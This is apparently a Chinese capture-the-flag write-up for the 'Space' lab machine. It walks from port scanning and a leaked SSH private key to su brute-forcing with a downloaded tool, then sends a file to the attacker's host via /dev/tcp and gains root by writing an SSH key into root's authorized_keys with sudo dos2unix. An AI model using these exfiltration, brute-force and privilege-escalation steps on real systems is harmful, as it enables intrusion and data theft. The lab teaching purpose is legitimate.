Space_20250623

1. 基本信息

```
靶机链接:
https://maze-sec.com/library
https://hackmyvm.eu/machines/machine.php?vm=
```

```
难度: ⭐
知识点: 信息收集, `私钥`利用, `suForce`密码爆破, `dos2unix`提权, 写`公钥`
```

2. 信息收集

Nmap

```
└─# arp-scan -l | grep PCS
192.168.31.229  08:00:27:c5:06:9a       PCS Systemtechnik GmbH
└─# IP=192.168.31.229
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 21:18 CST
Nmap scan report for Space (192.168.31.229)
Host is up (0.0014s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Typing Challenge
```

```
MAC Address: 08:00:27:C5:06:9A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

开放了`22、80`端口,先看看`80`有啥东西

3.目录扫描

```
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x http://$IP -x.txt,.php,.html
└─# dirsearch -u http://$IP  -x 403 -e txt,php,html
[21:18:51] Starting:
[21:18:59] 302 -    0B  - /check.php  ->  index.php
[21:19:03] 200 -    3KB - /index.php
[21:19:03] 200 -    3KB - /index.php/login/

#Challenge Complete!
Congratulations! You have successfully completed the challenge.
Your reward: /var/www/html/andeli.id_rsa
```

习惯性扫目录没啥明显有用信息，直接访问主页是打字挑战页面，根据提示复制5句话后获得提示信息：网站根目录`/var/www/html/andeli.id_rsa`下有私钥

把私钥取下来

```
└─# curl http://$IP/andeli.id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA53wtJ27uQatcM+9fP8gZCT7ioVbSmFM5MWZZ+4ZZ/AJswfuI9ndz
ADvJgrVgCj2//vHO7Hla0V4S7nHccrFLVuHxzxtcTXiITKmo+S0N0uBu0NdkzFwvmTPqR4
tG/p1G6fgt9fms9tqw/A2EYf5Mk/cDv9OwhGldUArQZD9Dd/Zy7ZnRGhBVHm/HTxbwCad0
n4Or9+PEUzJb5Uw+GG8A3P0J128BUlIxj4M2/I769q3xSG4EuT9kqAJXCdxAvIzZ6OIfEI
9yFoRPbDLEe+95y5zoQpH6Yar5LqiK+X+YnxScWWwCe3r4BQJCiHT7LjIK0HH5YUMkFcr7
t9QvNytztJPr2pVQET9UdkiN27u2DCygVw5y1q0rP3fCsEZDCUJxcfjn9PZw5IRzqJcO1B
PIFacPpvv/jWI1DA1smd0+xr/AUWEBL4892GZ6hMR4uNLlva2iPoTs4cfZthecXWd0ImCy
WcSe6S5pFNWZ+C/u7Td7l46xhlN6Tw/N2n1vQrupAAAFiGVFw9FlRcPRAAAAB3NzaC1yc2
EAAAGBAOd8LSdu7kGrXDPvXz/IGQk+4qFW0phTOTFmWfuGWfwCbMH7iPZ3cwA7yYK1YAo9
v/7xzux5WtFeEu5x3HKxS1bh8c8bXE14iEypqPktDdLgbtDXZMxcL5kz6keLRv6dRun4Lf
X5rPbasPwNhGH+TJP3A7/TsIRpXVAK0GQ/Q3f2cu2Z0RoQVR5vx08W8AmndJ+Dq/fjxFMy
W+VMPhhvANz9CddvAVJSMY+DNvyO+vat8UhuBLk/ZKgCVwncQLyM2ejiHxCPchaET2wyxH
vvecuc6EKR+mGq+S6oivl/mJ8UnFlsAnt6+AUCQoh0+y4yCtBx+WFDJBXK+7fULzcrc7ST
69qVUBE/VHZIjdu7tgwsoFcOctatKz93wrBGQwlCcXH45/T2cOSEc6iXDtQTyBWnD6b7/4
1iNQwNbJndPsa/wFFhAS+PPdhmeoTEeLjS5b2toj6E7OHH2bYXnF1ndCJgslnEnukuaRTV
mfgv7u03e5eOsYZTek8Pzdp9b0K7qQAAAAMBAAEAAAGADZsS3Fp8zodP6A2Nv6X3Mr/rei
gsQJ/DoM+vQkVnTJSn587tAe+LZtwcv/4BIxj2C/oSe3u2hs/MtQ8kMemR0A1/tPiauEL5
X+go8lxfj6F5YfUHC6vvcEXI42OgTJ7Z6C6aJPcD346DEI2K1meoAJpoMgIzQdUfkvDPxt
ShFo/5uVVtIOcM2bkgMdnbSfX5uNZ4aR2OEIXJOPT+QVlk55hH183CeiAyoYjI1pdg0Nbw
```

```
c51j0a+ULvvUOdQkSfDNUXD2G7I6UxIYCWOkh2uq0ddPU+Kwe7d12+cnvpub1BEtKAfCTG
+NSL8y76bO2u/I7f/kPRzV7Hm4po0X5tZc0fn1tctqV2M+Hu+JoCrs/yVwo0CuA29h/pHh
cg1cBzn7jISuDMIAU5l8/nzs4/q/AIfQzqywYUrt04dkcTBmoPyI1QZiD6LufA8L8ZYqQB
TrzFsiw/DZNIUBW0XKECr3OQWiaTz44g1YWxKCpFjbXOcR+E25BNAL8eTl3D63OIIBAAAA
wCszq5giZqnTab2lVPvtEDePkQHRBZzShp0xm5Ru5kCyzoCrkbyrHH0GhoH77RIItrwd/3
XHXtzSAXsWWWiTIkO4zl9xV0dTs85mqeLCSQtS4yG8rz1vMsPCRPysKAo0pXMgvvKHqehl
yIU99M3jVPbBiwIuXFGohWr4agxrqMOcsuNIPx3PFmO3lqo08blC+GUBerk8+fiIhkJWe0
izzECGHV9xcCoOiwiAdQjr2hNzw9QfnpO/w9uWKmb1397aoQAAAMEA9D47nMj7KvxQtcWz
XMXnbqE1Z9EDavrAoA1zZSLrGzJs7jWZyWJuKv450wuf2fqrMCMA0BVngNnS3ljXj04pAg
EU5sFE8WOlVNvC9iSd1x5Nmo7DMItdKSHeJop63flzvi+7aNg9VX+qWS4oWMuMZ0m7Vupf
mC+xiO+dng7BBFWKIYqrcdWCuBqA6TdOt/qycejhZpTzXzYs/KsmMBjl7uSuUQZu2f6GDl
KvCxTjcpE8v7FgSPJv4TNg/DjbEneZAAAAwQDyoLp4Rapn6iXTKFqOAL/8m+uH8dqgB5OD
560gxDEgINdYzxwfOz+p3gphSp54MczEJEnYnfvDfKYKR5ty0AXS0iEjEoGAQFXuRjWEQf
MeTEb+VqnK/Y5sNXWwW/FVr2tTibwA0QlzQEtOOAceh5HcKrtKpxZjkK2d4odvY6MmbL/J
Rtgh4TMV09EokfXACR9F/bNY5Lu+xFMef4NWtXl3e0GEZcoLDSsKCuloOJJoJR/IM1w8gs
Bl1Hds+8Z7rpEAAAAMYW5kZWxpQFNwYWNlAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
```

4.获得andeli权限

私钥利用

```
#通过私钥解出公钥
└─#ssh-keygen -y -f <私钥>
#私钥登陆
#ssh <私钥账户名>@ip -i <私钥>
```

通过私钥解出公钥，再通过私钥登陆账户andeli

```
└─# echo '<私钥>' > id
└─# chmod 600 id
└─# ssh-keygen -y -f id
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDnfC0nbu5Bq1wz718/yBkJPuKhVtKYUzkxZln7hl
n8AmzB+4j2d3MAO8mCtWAKPb/+8c7seVrRXhLucdxysUtW4fHPG1xNeIhMqaj5LQ3S4G7Q
12TMXC+ZM+pHi0b+nUbp+C31+az22rD8DYRh/kyT9wO/07CEaV1QCtBkP0N39nLtmdEaEF
Ueb8dPFvAJp3Sfg6v348RTMlvlTD4YbwDc/QnXbwFSUjGPgzb8jvr2rfFIbgS5P2SoAlcJ
3EC8jNno4h8Qj3IWhE9sMsR773nLnOhCkfphqvkuqIr5f5ifFJxZbAJ7evgFAkKIdPsuMg
rQcflhQyQVyvu31C83K3O0k+valVARP1R2SI3bu7YMLKBXDnLWrSs/d8KwRkMJQnFx+Of0
9nDkhHOolw7UE8gVpw+m+/+NYjUMDWyZ3T7Gv8BRYQEvjz3YZnqExHi40uW9raI+hOzhx9
m2F5xdZ3QiYLJZxJ7pLmkU1Zn4L+7tN3uXjrGGU3pPD83afW9Cu6k= andeli@Space
└─# ssh andeli@$IP -i id
The authenticity of host '192.168.31.229 (192.168.31.229)' can't be
established.
ED25519 key fingerprint is
SHA256:02iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
```

```
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:36: [hashed name]
    (7 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
Warning: Permanently added '192.168.31.229' (ED25519) to the list of
known hosts.
Linux Space 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25)
x86_64

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
andeli@Space:~$ id
uid=1000(andeli) gid=1000(andeli) groups=1000(andeli)
```

直接`私钥`去登陆获得`user.txt`

拿到`user.txt`

```
andeli@Space:~$ id
uid=1000(andeli) gid=1000(andeli) groups=1000(andeli)
andeli@Space:~$ cd
andeli@Space:~$ ls
user_data.json  user.txt
andeli@Space:~$ cat user.txt
flag{user-cea97ada-4f00-11f0-af69-57bd20d8ec7c}
```

5.获得`a3170`权限

获取`andeli`权限后发现`home`目录下有`user_data.json`文件，里面是账户密码信息，使用本机自带的`jq`提取密码字典

提取密码字典

```
#使用jq提取密码字典
andeli@Space:~$ jq --version
jq-1.6
andeli@Space:~$ jq -r '.[].password' user_data.json > pass.txt
andeli@Space:~$ cat pass.txt
6fz9Y2qPWfwYqlIZns9Y
9RqH4tBKCjh58K1wbtCd
#也可以使用 grep + awk (无jq时)
andeli@Space:~$ grep '"password":' user_data.json | awk -F '"' '{print
$4}' > pass1.txt
andeli@Space:~$ md5sum pass.txt
8aebc48147dbc2af5f430105532fe36a  pass.txt
andeli@Space:~$ md5sum pass1.txt
8aebc48147dbc2af5f430105532fe36a  pass1.txt
```

suForce密码爆破

```
## Download suForce
cd /dev/shm
wget --no-check-certificate -q
"https://raw.githubusercontent.com/d4t4s3c/suForce/refs/heads/main/suF
orce"
chmod +x suForce
## Download Wordlist (Optional)
wget --no-check-certificate -q
"https://raw.githubusercontent.com/d4t4s3c/suForce/refs/heads/main/tec
hyou.txt"
wget --no-check-certificate -q
"https://raw.githubusercontent.com/d4t4s3c/suForce/refs/heads/main/top
12000.txt"
## Usage
chmod +x suForce
./suForce -u <USER> -w <WORDLIST>
```

尝试使用suForce直接爆破root密码

```
kali└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.31.229 - - [23/Jun/2025 21:50:42] "GET /suForce HTTP/1.1" 200
-

andeli@Space:~$ busybox wget 192.168.31.126/suForce
Connecting to 192.168.31.126 (192.168.31.126:80)
suForce              100%
|**********************************************************************
***|  2430  0:00:00 ETA
```

```
andeli@Space:~$ ls
pass.txt  suForce  user_data.json  user.txt
andeli@Space:~$ chmod +x suForce
andeli@Space:~$ ./suForce -u root -w pass.txt

            _____
 ___ _   _ |  ___|__  _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| ||  _| (_) | | | (_|  __/
|___/\__,_||_|  \___/|_|  \___\___|
───────────────────────────────────
 code: d4t4s3c     version: v1.0.0
───────────────────────────────────
🎯 Username | root
📖 Wordlist | pass.txt
🔎 Status   | 199/199/100%/awmFURHhByAAlPJQKveg
❗ Fuck!    | Password not found
───────────────────────────────────
#后面发现不是爆破root，是a3170账户
andeli@Space:~$ ./suForce -u a3170 -w pass.txt

            _____
 ___ _   _ |  ___|__  _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| ||  _| (_) | | | (_|  __/
|___/\__,_||_|  \___/|_|  \___\___|
───────────────────────────────────
 code: d4t4s3c     version: v1.0.0
───────────────────────────────────
🎯 Username | a3170
📖 Wordlist | pass.txt
🔎 Status   | 111/199/55%/31703170317031703170
💥 Password | 31703170317031703170
───────────────────────────────────
```

测试使用`suForce`直接爆破`root、`andeli密码，把`user_data.json`文件取到本地留着备用

```
andeli@Space:~$ cat user_data.json > /dev/tcp/192.168.31.126/1234

└─# nc -lvp 1234 > user_data.json
listening on [any] 1234 ...
connect to [192.168.31.126] from Space [192.168.31.229] 40782
└─# ls user_data.json
└─# cp user_data.json /mnt/c/Users/family/Desktop/

```

`/etc/passwd`发现用户`a3170`,搜索`user_data.json`有`a3170`的关键字，直接获得密码

```
andeli@Space:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
......
andeli:x:1000:1000:,,,:/home/andeli:/bin/bash
a3170:x:1001:1001:,,,:/home/a3170:/bin/bash
andeli@Space:~$
andeli@Space:~$ cat user_data.json | grep 3170
    "password": "3170317031703170",
andeli@Space:~$ su - a3170
Password:
a3170@Space:~$ id
uid=1001(a3170) gid=1001(a3170) groups=1001(a3170)
a3170@Space:~$ cd
a3170@Space:~$ ls
a3170@Space:~$ sudo -l
Matching Defaults entries for a3170 on Space:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User a3170 may run the following commands on Space:
    (ALL) NOPASSWD: /usr/bin/dos2unix
```

拿到`a3170`的密码`a3170/3170317031703170`，登录后可以`sudo`发运行`/usr/bin/dos2unix`

6.获得`root`权限

`sudo`发现所有用户能够以`root`身份运行`/usr/bin/dos2unix`

```
a3170@Space:~$ sudo -l
Matching Defaults entries for a3170 on Space:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User a3170 may run the following commands on Space:
    (ALL) NOPASSWD: /usr/bin/dos2unix
```

查表，`dos2unix`可以写文件，现成的提权方案

```
#`dos2unix`提权
LFILE1=file_to_read
LFILE2=file_to_write
dos2unix -f -n "$LFILE1" "$LFILE2"
```

直接写个公钥

```
a3170@Space:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/a3170/.ssh/id_rsa):
Created directory '/home/a3170/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/a3170/.ssh/id_rsa
Your public key has been saved in /home/a3170/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:knoi0lcBR1t7RVuovtT4PYTdEIUbvpxx9n83Pyh87DA a3170@Space
The key's randomart image is:
+---[RSA 3072]----+
|    ..o .  .o..o.|
|     o o . ..o+  |
|      o . .... + |
|       o ..   = o|
|      + S. o + O.|
| .   o .  + o * o|
|. o + .  ..E.o. .|
| . o o    .o++oo+|
|           +. .B|
+----[SHA256]-----+
a3170@Space:~$ cd .ssh
a3170@Space:~/.ssh$ ls
id_rsa  id_rsa.pub
a3170@Space:~/.ssh$ sudo dos2unix -f -n "id_rsa.pub"
"/root/.ssh/authorized_keys"
dos2unix: converting file id_rsa.pub to file
/root/.ssh/authorized_keys in Unix format...
a3170@Space:~/.ssh$
a3170@Space:~/.ssh$ ssh root@127.0.0.1
Last login: Sat Jun 21 20:27:39 2025 from 192.168.3.94
root@Space:~# id
uid=0(root) gid=0(root) groups=0(root)
```

H5 拿到`root.txt`

```
root@Space:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Space:~# cd
root@Space:~# ls
root.txt
root@Space:~# cat root.txt
flag{root-f9f8c2ea-4f00-11f0-9724-e7b0f6215b99}
root@Space:~# cat /home/andeli/user.txt
flag{user-cea97ada-4f00-11f0-af69-57bd20d8ec7c}
```